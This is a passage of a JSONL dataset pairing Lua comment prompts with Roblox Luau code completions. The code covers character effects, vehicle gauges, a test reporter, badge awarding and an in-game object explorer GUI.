np\n\t\n\t\t\tnp.Parent = eff_cont\n\t\tend\n\tend\n\t\n\tlocal function Update()\n\t\tlocal loop = EFFECT_LIB.Loop(3)\n\t\tlocal loop2 = EFFECT_LIB.Loop(8)\n\t\t\n\t\tfor i = 1, #AnimObj[\"Parts\"] do\n\t\t\tlocal res_cf = source_part.CFrame * CFrame.Angles(0, 0, math.rad(45 * math.sin(math.rad(360 * loop2)))) * CFrame.Angles(0, math.rad(loop * 360 + (360 / #AnimObj[\"Parts\"] * (i - 1))), 0) * CFrame.new(0, 0, -3) * CFrame.Angles(0, math.rad(90), 0)\n\t\t\tAnimObj[\"Parts\"][i].CFrame = source_part.CFrame - source_part.CFrame.p + res_cf.p\n\t\tend\n\tend\n\t\n\tlocal function Stop()\n\t\teff_cont:ClearAllChildren()\n\t\tAnimObj = nil\n\tend\n\t\n\treturn {Start = Start, Update = Update, Stop = Stop}\nend\n\nreturn AttachAuraControl\n"} +{"prompt": "-- assume we are in the character, let's check", "completion": "\n\nfunction sepuku()\n\tscript.Parent = nil\nend\n\nlocal h = script.Parent:FindFirstChild(\"Humanoid\")\n\nif (h == nil) then sepuku() end\n\nlocal oldSpeed = h.WalkSpeed\nh.WalkSpeed = h.WalkSpeed * 3\n\n\n\n\nlocal torso = script.Parent:FindFirstChild(\"Torso\")\n\nif (torso == nil) then sepuku() end\n\n\nlocal head = script.Parent:FindFirstChild(\"Head\")\nif (head == nil) then head = torso end\n\n\n\nlocal s = Instance.new(\"Fire\")\ns.Color = Color3.new(153, 0, 255)\ns.Parent = torso\n\n\nlocal count = h:FindFirstChild(\"CoffeeCount\")\nif (count == nil) then\n\tcount = Instance.new(\"IntValue\")\n\tcount.Name = \"CoffeeCount\"\n\tcount.Value = 1\n\tcount.Parent = h\nelse\n\t\n\tif (count.Value > 3) then\n\t\tif (math.random() > .5) then\n\n\t\t\tlocal sound = Instance.new(\"Sound\")\n\t\t\tsound.SoundId = \"rbxasset://sounds\\\\Rocket shot.wav\"\n\t\t\tsound.Parent = head\n\t\t\tsound.Volume = 1\n\t\t\tsound:play()\n\n\t\t\tlocal e = Instance.new(\"Explosion\")\n\t\t\te.BlastRadius = 4\n\t\t\te.Position = head.Position\n\t\t\t\n\t\t\ts:Clone().Parent = head\n\t\t\te.Parent = head\n\t\t\t\n\n\t\tend\n\tend\n\tcount.Value = count.Value + 1\nend\n\nwait(30)\n\nh.WalkSpeed = oldSpeed\ns:Remove()\n\n\nscript.Parent = nil\n"} +{"prompt": "-- Add the Tween Module", "completion": "\nlocal UITween = require(game.ReplicatedStorage.UITweenModule)\n"} +{"prompt": "--[[\n\tGame setup\n]]", "completion": "\n\nlocal localPlayer = Players.LocalPlayer\nlocal playerGui = localPlayer:WaitForChild(\"PlayerGui\")\n\nlocal GuiHandler = require(ReplicatedStorage.Core.ClientGuisHandler)\n\nif not PingHandler.doingSetup and not PingHandler.didSetup then\n\tPingHandler.setup()\nend\n"} +{"prompt": "--[[\n\tThe TextReporter uses the results from a completed test to output text to\n\tstandard output and TestService.\n]]", "completion": "\n\nlocal TestService = game:GetService(\"TestService\")\n\nlocal TestEnum = require(script.Parent.Parent.TestEnum)\n\nlocal INDENT = (\" \"):rep(3)\nlocal STATUS_SYMBOLS = {\n\t[TestEnum.TestStatus.Success] = \"+\",\n\t[TestEnum.TestStatus.Failure] = \"-\",\n\t[TestEnum.TestStatus.Skipped] = \"~\"\n}\nlocal UNKNOWN_STATUS_SYMBOL = \"?\"\n\nlocal TextReporter = {}\n\nlocal function compareNodes(a, b)\n\treturn a.planNode.phrase:lower() < b.planNode.phrase:lower()\nend\n\nlocal function reportNode(node, buffer, level)\n\tbuffer = buffer or {}\n\tlevel = level or 0\n\n\tif node.status == TestEnum.TestStatus.Skipped then\n\t\treturn buffer\n\tend\n\n\tlocal line\n\n\tif node.status then\n\t\tlocal symbol = STATUS_SYMBOLS[node.status] or UNKNOWN_STATUS_SYMBOL\n\n\t\tline = (\"%s[%s] %s\"):format(\n\t\t\tINDENT:rep(level),\n\t\t\tsymbol,\n\t\t\tnode.planNode.phrase\n\t\t)\n\telse\n\t\tline = (\"%s%s\"):format(\n\t\t\tINDENT:rep(level),\n\t\t\tnode.planNode.phrase\n\t\t)\n\tend\n\n\ttable.insert(buffer, line)\n\ttable.sort(node.children, compareNodes)\n\n\tfor _, child in ipairs(node.children) do\n\t\treportNode(child, buffer, level + 1)\n\tend\n\n\treturn buffer\nend\n\nlocal function reportRoot(node)\n\tlocal buffer = {}\n\ttable.sort(node.children, compareNodes)\n\n\tfor _, child in ipairs(node.children) do\n\t\treportNode(child, buffer, 0)\n\tend\n\n\treturn buffer\nend\n\nlocal function report(root)\n\tlocal buffer = reportRoot(root)\n\n\treturn table.concat(buffer, \"\\n\")\nend\n\nfunction TextReporter.report(results)\n\tlocal resultBuffer = {\n\t\t\"Test results:\",\n\t\treport(results),\n\t\t(\"%d passed, %d failed, %d skipped\"):format(\n\t\t\tresults.successCount,\n\t\t\tresults.failureCount,\n\t\t\tresults.skippedCount\n\t\t)\n\t}\n\n\tprint(table.concat(resultBuffer, \"\\n\"))\n\n\tif results.failureCount > 0 then\n\t\tprint((\"%d test nodes reported failures.\"):format(results.failureCount))\n\tend\n\n\tif #results.errors > 0 then\n\t\tprint(\"Errors reported by tests:\")\n\t\tprint(\"\")\n\n\t\tfor _, message in ipairs(results.errors) do\n\t\t\tTestService:Error(message)\n\n\t\t\t-- Insert a blank line after each error\n\t\t\tprint(\"\")\n\t\tend\n\tend\nend\n\nreturn TextReporter\n"} +{"prompt": "------------------\n--SPAWNING--\n------------------", "completion": "\n\nmiked=script.Parent\n\nitlh=miked.Torso:findFirstChild(\"Left Hip\")\nitlh.Part0=miked.Torso\nitlh.Part1=miked:findFirstChild(\"Left Leg\")\nitlh.C0=CFrame.new(-4, -4, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0)\nitlh.C1 = CFrame.new(-2, 4, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)\n\nitrh=miked.Torso:findFirstChild(\"Right Hip\")\nitrh.Part0=miked.Torso\nitrh.Part1=miked:findFirstChild(\"Right Leg\")\nitrh.C0=CFrame.new(4, -4, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)\nitrh.C1 = CFrame.new(2, 4, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)\n\nitls=miked.Torso:findFirstChild(\"Left Shoulder\")\nitls.Part1=miked.Torso\nitls.C0=CFrame.new(8, 2, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0)\nitls.Part0=miked:findFirstChild(\"Left Arm\")\nitls.C1 = CFrame.new(2, 2, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)\n\nitrs=miked.Torso:findFirstChild(\"Right Shoulder\")\nitrs.Part1=miked.Torso\nitrs.C0=CFrame.new(-8, 2, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)\nitrs.Part0=miked:findFirstChild(\"Right Arm\")\nitrs.C1 = CFrame.new(-2, 2, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)\n\nlocal w = Instance.new(\"Weld\")\nw.Parent = miked.Torso\nw.Part0 = w.Parent\nw.Part1 = miked.TE\nw.C0 = CFrame.new(0, -8, 0)\n\nmiked.Head:makeJoints()"} +{"prompt": "--[[\n\tExits the view, including disconnection of any connections.\n]]", "completion": "\nfunction Spectating.exit()\n\tactiveElements:Destroy()\nend\n\nreturn Spectating\n"} +{"prompt": "-- print(\"Distance from \"..character.Name..\" = \"..distance)", "completion": "\n if distance <= 8*radius then\n torso.Velocity = (torso.Position - position).unit * 300;\n human:takeDamage(300-(distance-radius)*(300/radius))\n \n -- If player died"} +{"prompt": "-- Settings and GameSettings are read only", "completion": "\nlocal Settings = UserSettings()\t-- ignore warning\nlocal GameSettings = Settings.GameSettings\n\nlocal ShiftLockController = {}\n"} +{"prompt": "-- map to ScreenGui Holder", "completion": "\nlocal screenGui = playerGui:WaitForChild(\"ScreenGui\")\n"} +{"prompt": "-- Container for temporary connections (disconnected automatically)", "completion": "\nlocal Connections = {};\n\nfunction DecorateTool.Equip()\n\t-- Enables the tool's equipped functionality\n\n\t-- Start up our interface\n\tShowUI();\n\nend;\n\nfunction DecorateTool.Unequip()\n\t-- Disables the tool's equipped functionality\n\n\t-- Clear unnecessary resources\n\tHideUI();\n\tClearConnections();\n\nend;\n\nfunction ClearConnections()\n\t-- Clears out temporary connections\n\n\tfor ConnectionKey, Connection in pairs(Connections) do\n\t\tConnection:Disconnect();\n\t\tConnections[ConnectionKey] = nil;\n\tend;\n\nend;\n\nfunction ShowUI()\n\t-- Creates and reveals the UI\n\n\t-- Reveal UI if already created\n\tif DecorateTool.UI then\n\n\t\t-- Reveal the UI\n\t\tDecorateTool.UI.Visible = true;\n\n\t\t-- Update the UI every 0.1 seconds\n\t\tUIUpdater = Support.ScheduleRecurringTask(UpdateUI, 0.1);\n\n\t\t-- Skip UI creation\n\t\treturn;\n\n\tend;\n\n\t-- Create the UI\n\tDecorateTool.UI = Core.Tool.Interfaces.BTDecorateToolGUI:Clone();\n\tDecorateTool.UI.Parent = Core.UI;\n\tDecorateTool.UI.Visible = true;\n\n\t-- Enable each decoration type UI\n\tEnableOptionsUI(DecorateTool.UI.Smoke);\n\tEnableOptionsUI(DecorateTool.UI.Fire);\n\tEnableOptionsUI(DecorateTool.UI.Sparkles);\n\n\t-- Hook up manual triggering\n\tlocal SignatureButton = DecorateTool.UI:WaitForChild('Title'):WaitForChild('Signature')\n\tListenForManualWindowTrigger(DecorateTool.ManualText, DecorateTool.Color.Color, SignatureButton)\n\n\t-- Update the UI every 0.1 seconds\n\tUIUpdater = Support.ScheduleRecurringTask(UpdateUI, 0.1);\n\nend;\n"} +{"prompt": "--Tune", "completion": "\nlocal WheelieButton = \"T\"\nlocal DeadZone = 70\n"} +{"prompt": "--Automatic Gauge Scaling", "completion": "\nif autoscaling then\n\tlocal Drive={}\n\tif _Tune.Config == \"FWD\" or _Tune.Config == \"AWD\" then\n\t\tif car.Wheels:FindFirstChild(\"FL\")~= nil then\n\t\t\ttable.insert(Drive,car.Wheels.FL)\n\t\tend\n\t\tif car.Wheels:FindFirstChild(\"FR\")~= nil then\n\t\t\ttable.insert(Drive,car.Wheels.FR)\n\t\tend\n\t\tif car.Wheels:FindFirstChild(\"F\")~= nil then\n\t\t\ttable.insert(Drive,car.Wheels.F)\n\t\tend\n\tend\n\tif _Tune.Config == \"RWD\" or _Tune.Config == \"AWD\" then\n\t\tif car.Wheels:FindFirstChild(\"RL\")~= nil then\n\t\t\ttable.insert(Drive,car.Wheels.RL)\n\t\tend\n\t\tif car.Wheels:FindFirstChild(\"RR\")~= nil then\n\t\t\ttable.insert(Drive,car.Wheels.RR)\n\t\tend\n\t\tif car.Wheels:FindFirstChild(\"R\")~= nil then\n\t\t\ttable.insert(Drive,car.Wheels.R)\n\t\tend\n\tend\n\n\tlocal wDia = 0\n\tfor i,v in pairs(Drive) do\n\t\tif v.Size.x>wDia then wDia = v.Size.x end\n\tend\n\tDrive = nil\n\tfor i,v in pairs(UNITS) do\n\t\tv.maxSpeed = math.ceil(v.scaling*wDia*math.pi*_lRPM/60/_Tune.Ratios[#_Tune.Ratios]/_Tune.FinalDrive)\n\t\tv.spInc = math.max(math.ceil(v.maxSpeed/200)*20,20)\n\tend\nend\n\nfor i=0,revEnd do\n\tlocal ln = script.Parent.A:Clone()\n\tln.Name = i\n\tln.Parent = script.Parent.Tac.G\n\tln.Rotation = -90 + i * 270 / (revEnd)\n\tln.Num.Text = i\n\tln.Num.Rotation = -ln.Rotation\n\tif i*1000>=math.ceil(_lRPM/1000)*1000 then\n\t\tln.Num.TextColor3 = Color3.new(1,0,0)\n\tend\n\tln.Num.Visible=true\n\tln.Visible=true\nend\n\nlocal lns = Instance.new(\"Frame\",script.Parent.Spd)\nlns.Name = \"lns\"\nlns.BackgroundTransparency = 1\nlns.BorderSizePixel = 0\nlns.Size = UDim2.new(0,0,0,0)\n\nfor i,v in pairs(UNITS) do\n\tlocal lnn = Instance.new(\"Frame\",script.Parent.Spd.G)\n\tlnn.BackgroundTransparency = 1\n\tlnn.BorderSizePixel = 0\n\tlnn.Size = UDim2.new(1,0,1,0)\n\tlnn.Name = v.units\n\tif i~= 1 then lnn.Visible=false end\n\t\n\tfor i=0,v.maxSpeed,v.spInc do\n\t\tlocal ln = script.Parent.A:clone()\n\t\tln.Parent = lnn\n\t\tln.Name = i\n\t\tln.Rotation = -90 + 270*(i/v.maxSpeed)\n\t\tln.Num.Text = i\n\t\tln.Num.TextSize = 14\n\t\tln.Num.Rotation = -ln.Rotation\n\t\tln.Num.Visible=true\n\t\tln.Visible=true\n\tend\nend\n\nif \tscript.Parent.Parent.IsOn.Value then\n\tscript.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)\nend\n\nscript.Parent.Parent.IsOn.Changed:connect(function()\n\tif script.Parent.Parent.IsOn.Value then\n\t\tscript.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)\n\tend\nend)\n\nscript.Parent.Parent.Values.RPM.Changed:connect(function()\n\tlocal r = script.Parent.Parent.Values.RPM\n\tscript.Parent.Tac.G.Needle.Rotation = -90 + 270 * math.min(1,script.Parent.Parent.Values.RPM.Value / (revEnd*1000))\n\t\n\tinTac.Rotation = -30 + 240 * math.min(1,script.Parent.Parent.Values.RPM.Value / (revEnd*1000))\nend)\n\nscript.Parent.Parent.Values.TCS.Changed:connect(function()\n\tif _Tune.TCSEnabled then\n\t\tif script.Parent.Parent.Values.TCS.Value then\n\t\t\tscript.Parent.Clst.TCS.TextColor3 = Color3.new(1,170/255,0)\n\t\t\tscript.Parent.Clst.TCS.TextStrokeColor3 = Color3.new(1,170/255,0)\n\t\t\tif script.Parent.Parent.Values.TCSActive.Value then\n\t\t\t\twait()\n\t\t\t\tscript.Parent.Clst.TCS.Visible = not script.Parent.Clst.TCS.Visible\n\t\t\telse\n\t\t\t\twait()\n\t\t\t\tscript.Parent.Clst.TCS.Visible = false\n\t\t\tend\n\t\telse\n\t\t\tscript.Parent.Clst.TCS.Visible = true\n\t\t\tscript.Parent.Clst.TCS.TextColor3 = Color3.new(1,0,0)\n\t\t\tscript.Parent.Clst.TCS.TextStrokeColor3 = Color3.new(1,0,0)\n\t\tend\n\telse\n\t\tscript.Parent.Clst.TCS.Visible = false\n\tend\nend)\n\nscript.Parent.Parent.Values.TCSActive.Changed:connect(function()\n\tif _Tune.TCSEnabled then\n\t\tif script.Parent.Parent.Values.TCSActive.Value and script.Parent.Parent.Values.TCS.Value then\n\t\t\twait()\n\t\t\tscript.Parent.Clst.TCS.Visible = not script.Parent.Clst.TCS.Visible\n\t\telseif not script.Parent.Parent.Values.TCS.Value then\n\t\t\twait()\n\t\t\tscript.Parent.Clst.TCS.Visible = true\n\t\telse\n\t\t\twait()\n\t\t\tscript.Parent.Clst.TCS.Visible = false\n\t\tend\n\telse\n\t\tscript.Parent.Clst.TCS.Visible = false\n\tend\nend)\n\nscript.Parent.Clst.TCS.Changed:connect(function()\n\tif _Tune.TCSEnabled then\n\t\tif script.Parent.Parent.Values.TCSActive.Value and script.Parent.Parent.Values.TCS.Value then\n\t\t\twait()\n\t\t\tscript.Parent.Clst.TCS.Visible = not script.Parent.Clst.TCS.Visible\n\t\telseif not script.Parent.Parent.Values.TCS.Value then\n\t\t\twait()\n\t\t\tscript.Parent.Clst.TCS.Visible = true\n\t\tend\n\telse\n\t\tif script.Parent.Clst.TCS.Visible then\n\t\t\tscript.Parent.Clst.TCS.Visible = false\n\t\tend\n\tend\nend)\n\nscript.Parent.Parent.Values.ABS.Changed:connect(function()\n\tif _Tune.ABSEnabled then\n\t\tif script.Parent.Parent.Values.ABS.Value then\n\t\t\tscript.Parent.Clst.ABS.TextColor3 = Color3.new(1,170/255,0)\n\t\t\tscript.Parent.Clst.ABS.TextStrokeColor3 = Color3.new(1,170/255,0)\n\t\t\tif script.Parent.Parent.Values.ABSActive.Value then\n\t\t\t\twait()\n\t\t\t\tscript.Parent.Clst.ABS.Visible = not script.Parent.Clst.ABS.Visible\n\t\t\telse\n\t\t\t\twait()\n\t\t\t\tscript.Parent.Clst.ABS.Visible = false\n\t\t\tend\n\t\telse\n\t\t\tscript.Parent.Clst.ABS.Visible = true\n\t\t\tscript.Parent.Clst.ABS.TextColor3 = Color3.new(1,0,0)\n\t\t\tscript.Parent.Clst.ABS.TextStrokeColor3 = Color3.new(1,0,0)\n\t\tend\n\telse\n\t\tscript.Parent.Clst.ABS.Visible = false\n\tend\nend)\n\nscript.Parent.Parent.Values.ABSActive.Changed:connect(function()\n\tif _Tune.ABSEnabled then\n\t\tif script.Parent.Parent.Values.ABSActive.Value and script.Parent.Parent.Values.ABS.Value then\n\t\t\twait()\n\t\t\tscript.Parent.Clst.ABS.Visible = not script.Parent.Clst.ABS.Visible\n\t\telseif not script.Parent.Parent.Values.ABS.Value then\n\t\t\twait()\n\t\t\tscript.Parent.Clst.ABS.Visible = true\n\t\telse\n\t\t\twait()\n\t\t\tscript.Parent.Clst.ABS.Visible = false\n\t\tend\n\telse\n\t\tscript.Parent.Clst.ABS.Visible = false\n\tend\nend)\n\nscript.Parent.Clst.ABS.Changed:connect(function()\n\tif _Tune.ABSEnabled then\n\t\tif script.Parent.Parent.Values.ABSActive.Value and script.Parent.Parent.Values.ABS.Value then\n\t\t\twait()\n\t\t\tscript.Parent.Clst.ABS.Visible = not script.Parent.Clst.ABS.Visible\n\t\telseif not script.Parent.Parent.Values.ABS.Value then\n\t\t\twait()\n\t\t\tscript.Parent.Clst.ABS.Visible = true\n\t\tend\n\telse\n\t\tif script.Parent.Clst.ABS.Visible then\n\t\t\tscript.Parent.Clst.ABS.Visible = false\n\t\tend\n\tend\nend)\n\nscript.Parent.Parent.Values.PBrake.Changed:connect(function()\n\tscript.Parent.Clst.P.Visible = script.Parent.Parent.Values.PBrake.Value\nend)\n\nscript.Parent.Parent.Values.TransmissionMode.Changed:connect(function()\n\tif script.Parent.Parent.Values.TransmissionMode.Value == \"Auto\" then\n\t\tscript.Parent.Clst.TMode.Text = \"A/T\"\n\t\tscript.Parent.Clst.TMode.TextColor3 = Color3.new(1,170/255,0)\n\telseif script.Parent.Parent.Values.TransmissionMode.Value == \"Semi\" then\n\t\tscript.Parent.Clst.TMode.Text = \"S/T\"\n\t\tscript.Parent.Clst.TMode.TextColor3 = Color3.new(0, 170/255, 127/255) \n\telse\n\t\tscript.Parent.Clst.TMode.Text = \"M/T\"\n\t\tscript.Parent.Clst.TMode.TextColor3 = Color3.new(1,85/255,.5)\n\tend\nend)\n\nscript.Parent.Parent.Values.Velocity.Changed:connect(function(property)\n\tscript.Parent.Spd.G.Needle.Rotation = -90 + 270 * math.min(1,UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude/UNITS[currentUnits].maxSpeed)\n\tscript.Parent.Spd.G.Gear.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude)\n\tinspd.Rotation = -30 + (240 / 160) * (math.abs(script.Parent.Parent.Values.Velocity.Value.Magnitude*((10/12) * (60/88))))\nend)\n"} +{"prompt": "--BonBonBakery--", "completion": "\nBadgetId = 2124489069 --put the code here\n\ngame.Players.PlayerAdded:connect(function(p)-- Do not change \nwait(.5) --How long the person stays to earn the badge\nb = game:GetService(\"BadgeService\")-- Do not change \nb:AwardBadge(p.userId,BadgetId)-- Do not change\nend)-- Do not change "} +{"prompt": "--[[*\n * Parse a glob pattern to create the source string for a regular\n * expression.\n *\n * ```js\n * const picomatch = require('picomatch');\n * const result = picomatch.parse(pattern[, options]);\n * ```\n * @param {String} `pattern`\n * @param {Object} `options`\n * @return {Object} Returns an object with useful properties and output to be used as a regex source string.\n * @api public\n ]]", "completion": "\n\nfunction picomatch.parse(pattern, options: Object?)\n\tif Array.isArray(pattern) then\n\t\treturn Array.map(pattern, function(p)\n\t\t\treturn picomatch.parse(p, options)\n\t\tend)\n\tend\n\treturn parse(pattern, Object.assign({}, options, { fastpaths = false }))\nend\n"} +{"prompt": "--[[\n\tReturns true if the provided instance is one of the ScreenGuis that is\n\tused by this dev module\n\n\tParameters:\n\tinstance - The instance to check\n\n\tReturns:\n\ttrue if the provided instance is one of the ScreenGuis that is\n\tused by this dev module and false otherwise.\n]]", "completion": "\nfunction GuiController:_isModuleScreenGui(instance: Instance)\n\tfor _, screenGui in ipairs(self.screenGuis) do\n\t\tif instance == screenGui:getValue() then\n\t\t\treturn true\n\t\tend\n\tend\n\n\treturn false\nend\n"} +{"prompt": "--// All global vars will be wiped/replaced except script", "completion": "\nlocal function Expand(ent, point)\n\tent.MouseLeave:connect(function(x,y)\n\t\tpoint.Visible = false\n\tend)\n\t\n\tent.MouseMoved:connect(function(x,y)\n\t\tpoint.Label.Text = ent.Desc.Value\n\t\tpoint.Size = UDim2.new(0, 10000, 0, 10000)\n\t\tlocal bounds = point.Label.TextBounds.X\n\t\tlocal rows = math.floor(bounds/500)\n\t\trows = rows+1\n\t\tif rows<1 then rows = 1 end\n\t\tlocal newx = 500\n\t\tif bounds<500 then newx = bounds end\n\t\tpoint.Visible = true\n\t\tpoint.Size = UDim2.new(0, newx+5, 0, (rows*20)+5)\n\t\tpoint.Position = UDim2.new(0, x, 0, y-40-((rows*20)+5))\n\tend)\nend\n\nreturn function(data)\n\tlocal parent = game\n\tlocal Plr = service.Player\n\tlocal GUI = gTable.Object\n\tlocal NewCloneBar = GUI.Entry\n\tlocal Point = GUI.Desc\n\tlocal drag = GUI.Drag\n\tlocal main = GUI.Drag.Main\n\tlocal ScrollFr = GUI.Drag.Main.ScrollingFrame\n\tlocal top = GUI.Drag.Title\n\tlocal cls = GUI.Drag.Close\n\tlocal hide = GUI.Drag.Hide\n\tlocal fakeDrag = GUI.Drag.Main.FakeDragger\n\tlocal drag2 = GUI.Drag.Main.Dragger\n\tlocal Search = GUI.Drag.Search\n\tlocal Refresh = GUI.Drag.Refresh\n\t\n\tRefresh.Visible=true\n\tSearch.Visible=true\n\n\tSearch.InputBegan:connect(function(t)\n\t\tdrag.Draggable=false\n\tend)\n\tSearch.InputEnded:connect(function(t)\n\t\tdrag.Draggable=true\n\tend)\n\t\n\tcls.MouseButton1Click:connect(function()\n\t\tdrag.Draggable = false\n\t\tdrag:TweenPosition(UDim2.new(0, -drag.Size.X.Offset, drag.Position.Y.Scale, drag.Position.Y.Offset), \"Out\", \"Sine\", 0.5, true)\n\t\twait(0.5)\n\t\tgTable:Destroy()\n\tend)\n\n\tdrag.BackgroundColor3 = main.BackgroundColor3\n\t\n\thide.MouseButton1Click:connect(function() \n\t\tif main.Visible then\n\t\t\tmain.Visible = false\n\t\t\tdrag.BackgroundTransparency = main.BackgroundTransparency\n\t\t\thide.Text = \"+\"\n\t\telse\n\t\t\tmain.Visible = true\n\t\t\tdrag.BackgroundTransparency = 1\n\t\t\thide.Text = \"-\"\n\t\tend\n\tend)\n\t\n\tlocal num = 0\n\tlocal mouse=service.Player:GetMouse()\n\tlocal nx,ny=drag.AbsoluteSize.X,main.AbsoluteSize.Y--405,400\n\tlocal dragging=false\n\tlocal defx,defy=nx,ny\n\tlocal topText=\"\"\n\tmouse.Move:connect(function(x,y) \n\t\tif dragging then\n\t\t\tnx=defx+(drag2.Position.X.Offset+20)\n\t\t\tny=defy+(drag2.Position.Y.Offset+20)\n\t\t\tif nx<230 then nx=230 end\n\t\t\tif ny<200 then ny=200 end\n\t\t\tdrag.Size=UDim2.new(0, nx, 0, 30) \n\t\t\tmain.Size=UDim2.new(1, 0, 0, ny)\n\t\t\tif nx<350 then\n\t\t\t\tif topText==\"\" then\n\t\t\t\t\ttopText=top.Text\n\t\t\t\tend\n\t\t\t\ttop.Text=\"\"\n\t\t\telse\n\t\t\t\tif topText~=\"\" then\n\t\t\t\t\ttop.Text=topText\n\t\t\t\t\ttopText=\"\"\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend)\n\tdrag2.DragBegin:connect(function(init)\n\t\tdragging=true\n\tend)\n\tdrag2.DragStopped:connect(function(x,y)\n\t\tdragging=false\n\t\tdefx=nx\n\t\tdefy=ny\n\t\tdrag2.Position=UDim2.new(1,-20,1,-20)\n\t\tScrollFr.CanvasSize = UDim2.new(0, 0, 0, (#ScrollFr:children())*20)\n\tend)\n\t\n\tlocal populate; populate = function(term)\n\t\tScrollFr:ClearAllChildren()\n\t\tlocal num = 0\n\t\tlocal clone = NewCloneBar:Clone()\n\t\tclone.Position = UDim2.new(0, 5, 0, num*20)\n\t\tclone.Text = \"Previous...\"\n\t\tclone.Desc.Value = \"Go back\"\n\t\tclone.Visible = true\n\t\tclone.Parent = ScrollFr\n\t\tclone.Open.MouseButton1Click:connect(function()\n\t\t\tif parent.Parent then\n\t\t\t\tparent = parent.Parent\n\t\t\t\tpopulate()\n\t\t\tend\n\t\tend)\n\t\tExpand(clone, Point)\n\t\tnum = num+1\n\t\tScrollFr.CanvasSize = UDim2.new(0, 0, (num+1)/20, 0)\n\t\t\n\t\tfor i,child in pairs(parent:GetChildren()) do\n\t\t\tif not term or term == \"all\" or term == \"\" or (term and string.find(string.lower(child.Name),string.lower(term))) then\n\t\t\t\tpcall(function()\n\t\t\t\t\tlocal clone = NewCloneBar:Clone()\n\t\t\t\t\tclone.Position = UDim2.new(0, 5, 0, num*20)\n\t\t\t\t\tclone.Text = tostring(child)\n\t\t\t\t\tclone:WaitForChild(\"Desc\")\n\t\t\t\t\tclone.Desc.Value = child.ClassName\n\t\t\t\t\tclone.Visible = true\n\t\t\t\t\tclone.Parent = ScrollFr\n\t\t\t\t\tclone.Delete.MouseButton1Click:connect(function()\n\t\t\t\t\t\tchild:Destroy()\n\t\t\t\t\t\tpopulate(term)\n\t\t\t\t\tend)\n\t\t\t\t\tclone.Open.MouseButton1Click:connect(function()\n\t\t\t\t\t\tparent = child\n\t\t\t\t\t\tpopulate()\n\t\t\t\t\tend)\n\t\t\t\t\tExpand(clone, Point)\n\t\t\t\t\tnum = num+1\n\t\t\t\t\tScrollFr.CanvasSize = UDim2.new(0, 0, (num+1)/20, 0)\n\t\t\t\tend)\n\t\t\tend\n\t\tend\n\tend\n\t----\n\tSearch.FocusLost:connect(function(enterPressed)\n\t\tif enterPressed and (Search.Text ~= \"Search\" and Search.Text ~= \"\" or string.len(Search.Text) > 0) then\n\t\t\tpopulate(Search.Text)\n\t\telseif enterPressed and (Search.Text==\"\" or string.len(Search.Text)==0 or string.lower(Search.Text)==\"all\") then\n\t\t\tScrollFr:ClearAllChildren()\n\t\t\tSearch.Text = \"Search\"\n\t\t\tpopulate()\n\t\telse\n\t\t\tSearch.Text = \"Search\"\n\t\tend\n\tend)\n\t----\n\tRefresh.Visible = false\n\t----\n\tSearch.Text=\"Search\"\n\t\n\tRefresh.MouseButton1Click:connect(function()\n\t\tif (Search.Text ~= \"Search\" and Search.Text ~= \"\") then\n\t\t\tpopulate(Search.Text)\n\t\telse\n\t\t\tpopulate(\"all\")\n\t\tend\n\tend)\n\t\n\tgTable:Ready()\n\tdrag.Position = UDim2.new(0, -600, 0.5, -160)\t\n\tdrag:TweenPosition(UDim2.new(0, 35, 0.5, -160), \"Out\", \"Sine\", 0.5)\n\tpopulate(\"all\")\nend\n"} +{"prompt": "-- Variables (best not to touch these!)", "completion": "\nlocal button = script.Parent \nlocal car = script.Parent.Parent.Car.Value\nlocal sound = script.Parent.Start\nsound.Parent = car.DriveSeat -- What brick the start sound is playing from.\nbutton.MouseButton1Click:connect(function() -- Event when the button is clicked\n\tif script.Parent.Text == \"Engine: Off\" then -- If the text says it's off then..\n\t\tsound:Play() -- Startup sound plays..\n\t\twait(1) -- For realism. Okay?\n\t\tscript.Parent.Parent.IsOn.Value = true -- The car is is on, or in other words, start up the car.\n\t\tbutton.Text = \"Engine: On\" -- You don't really need this, but I would keep it.\n\telse -- If it's on then when you click the button,\n\t\tscript.Parent.Parent.IsOn.Value = false -- The car is turned off.\n\t\tbutton.Text = \"Engine: Off\"\n\tend -- Don't touch this.\nend) -- And don't touch this either.\n"} +{"prompt": "-------------------------------------------------------------------------------------------\n-------------------------------------------------------------------------------------------", "completion": "\n\nfunction onSwimming(speed)\n\tif speed > 1.00 then\n\t\tlocal scale = 10.0\n\t\tplayAnimation(\"swim\", 0.4, Humanoid)\n\t\tsetAnimationSpeed(speed / scale)\n\t\tpose = \"Swimming\"\n\telse\n\t\tplayAnimation(\"swimidle\", 0.4, Humanoid)\n\t\tpose = \"Standing\"\n\tend\nend\n\nfunction animateTool()\n\tif (toolAnim == \"None\") then\n\t\tplayToolAnimation(\"toolnone\", toolTransitionTime, Humanoid, Enum.AnimationPriority.Idle)\n\t\treturn\n\tend\n\n\tif (toolAnim == \"Slash\") then\n\t\tplayToolAnimation(\"toolslash\", 0, Humanoid, Enum.AnimationPriority.Action)\n\t\treturn\n\tend\n\n\tif (toolAnim == \"Lunge\") then\n\t\tplayToolAnimation(\"toollunge\", 0, Humanoid, Enum.AnimationPriority.Action)\n\t\treturn\n\tend\nend\n\nfunction getToolAnim(tool)\n\tfor _, c in ipairs(tool:GetChildren()) do\n\t\tif c.Name == \"toolanim\" and c.className == \"StringValue\" then\n\t\t\treturn c\n\t\tend\n\tend\n\treturn nil\nend\n\nlocal lastTick = 0\n\nfunction stepAnimate(currentTime)\n\tlocal amplitude = 1\n\tlocal frequency = 1\n\tlocal deltaTime = currentTime - lastTick\n\tlastTick = currentTime\n\n\tlocal climbFudge = 0\n\tlocal setAngles = false\n\n\tif (jumpAnimTime > 0) 